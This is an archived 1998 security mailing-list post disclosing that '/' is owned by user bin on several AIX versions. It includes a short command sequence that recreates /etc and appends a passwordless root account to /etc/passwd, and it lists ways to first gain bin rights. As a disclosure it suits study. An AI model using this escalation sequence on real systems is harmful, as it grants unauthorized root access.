AIX : "/" is owned by bin.bin

From: Yaron Yanay (yaronyat_private)
Date: Mon Jun 01 1998 - 11:13:29 PDT

  • Next message: Invisi: "AOL for Windows DoS/Exploit"

    Shalom,
            I have verified a problem with "/" permission on AIX versions:
    3.2.5.0 , 4.1.4.0 4.2.1.0, and I guess on every version of AIX.
    
    The problem is that the owner of "/" is user bin instead of user root.
    
    Which means that if one manages to get "bin" permissions he might get
    root permissions by:
    
    > mv -r /etc /etc.old
    > cp -r /etc.old /etc
    > echo "yarony::0:0:Yaron:/:/bin/tcsh">> /etc/passwd
    or something like that.
    
    And to get bin permissions one should exploit the current version of
    sendmail or use mis-configured NFS server, or exploit a buffer overflow in
    /usr/bin/nslookup (the only suid bin in AIX ,and it suid only in AIX 4.1.5)
    
    I have informed AIX about it a month ago. They told me that it doesn't
    look like this is going to be changed. The reason was that all my ideas
    about how to get bin permissions were by exploiting mis-configured system.
    
    Yours,
            Yaron.
    --
    Yaron Yanay. email:yaronyat_private , http://yarony.il.eu.org
    Chief Teaching Assistant - Computer Security (236350) - Technion CS Department
    Unix Security Supervisor - Computer Center - Haifa University - Israel
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:56:04 PDT